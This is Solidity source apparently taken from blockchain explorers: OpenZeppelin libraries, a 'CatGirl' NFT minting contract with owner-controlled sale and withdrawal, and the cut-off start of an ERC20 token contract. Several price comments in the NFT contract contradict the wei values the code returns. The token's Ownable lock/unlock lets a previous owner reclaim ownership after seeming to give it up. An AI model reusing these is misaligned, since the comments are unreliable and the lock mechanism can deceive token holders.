* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity ^0.7.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.7.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.7.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/contract.sol
pragma solidity >=0.6.2 <0.8.0;
contract CatGirl is ERC721, Ownable {
using SafeMath for uint256;
uint public MAX_CATGIRL = 2500;
bool public hasSaleStarted = false;
constructor(string memory baseURI) ERC721("CatGirl", "CatGirl") public {
setBaseURI(baseURI);
}
// Get the current tokens of owner
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
// The bonding curve, to enable Early adapters to buy cheap, and make money for charity
function calculatePrice() public view returns (uint256) {
require(hasSaleStarted == true, "Sale hasn't started");
require(totalSupply() < MAX_CATGIRL, "Sale has already ended");
uint currentSupply = totalSupply();
if (currentSupply >= 2000) {
return 90000000000000000;
// 2000-2499: 0.09 BNB
} else if (currentSupply >= 1500) {
return 80000000000000000;
// 1500-1999: 0.05 BNB
} else if (currentSupply >= 1000) {
return 70000000000000000;
// 1000-1499: 0.04 BNB
} else if (currentSupply >= 500) {
return 60000000000000000;
// 500-999: 0.06 BNB
} else {
return 50000000000000000;
// 0 - 499 0.05 BNB
}
}
// mint your own CatGirl on the Binance Smart Chain,
// Max 20 at once and make sure the right price is used to confirm transaction
function mintCatGirl(uint256 numCatGirl) public payable {
require(totalSupply() < MAX_CATGIRL, "Sale has already ended");
require(numCatGirl > 0 && numCatGirl <= 20, "You can mint minimum 1, maximum 20 CatGirl");
require(totalSupply().add(numCatGirl) <= MAX_CATGIRL, "Exceeds MAX_CATGIRL");
require(msg.value >= calculatePrice().mul(numCatGirl), "BNB value sent is below the price");
for (uint i = 0; i < numCatGirl; i++) {
uint mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
// Decrease the MAX_CATGIRL variable only if these items aren't sold.
// If sale doens't go as in our dreams, then we can increase it's value by this burn
function burn(uint256 numCatGirlToBurn) public onlyOwner {
require(numCatGirlToBurn > 0 && numCatGirlToBurn <= 1000, "You can only burn a 1 - 1000 at the time");
uint NewMaxCatGirl = MAX_CATGIRL - numCatGirlToBurn;
require(totalSupply() <= NewMaxCatGirl, "There NFT's are allready claimed");
MAX_CATGIRL = NewMaxCatGirl;
}
// The trick to change the metadata if necessary and have a reveal moment
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
// Start Sale, we can start minting!
function startSale() public onlyOwner {
hasSaleStarted = true;
}
// Pause Sale
function pauseSale() public onlyOwner {
hasSaleStarted = false;
}
// For return on investment, charity payouts and future development
function withdrawAll() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
// First items can be added to own wallet with this
function reserveGiveaway(uint256 numCatGirl) public onlyOwner {
uint currentSupply = totalSupply();
require(numCatGirl > 0 && numCatGirl <= 50, "Max 50 to reserve at once");
require(totalSupply().add(numCatGirl) <= MAX_CATGIRL, "Exceeds MAX_CATGIRL");
require(hasSaleStarted == false, "Sale has already started");
uint256 index;
// Reserved for people who helped this project and giveaways
for (index = 0; index < numCatGirl; index++) {
_safeMint(owner(), currentSupply + index);
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-02-27
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
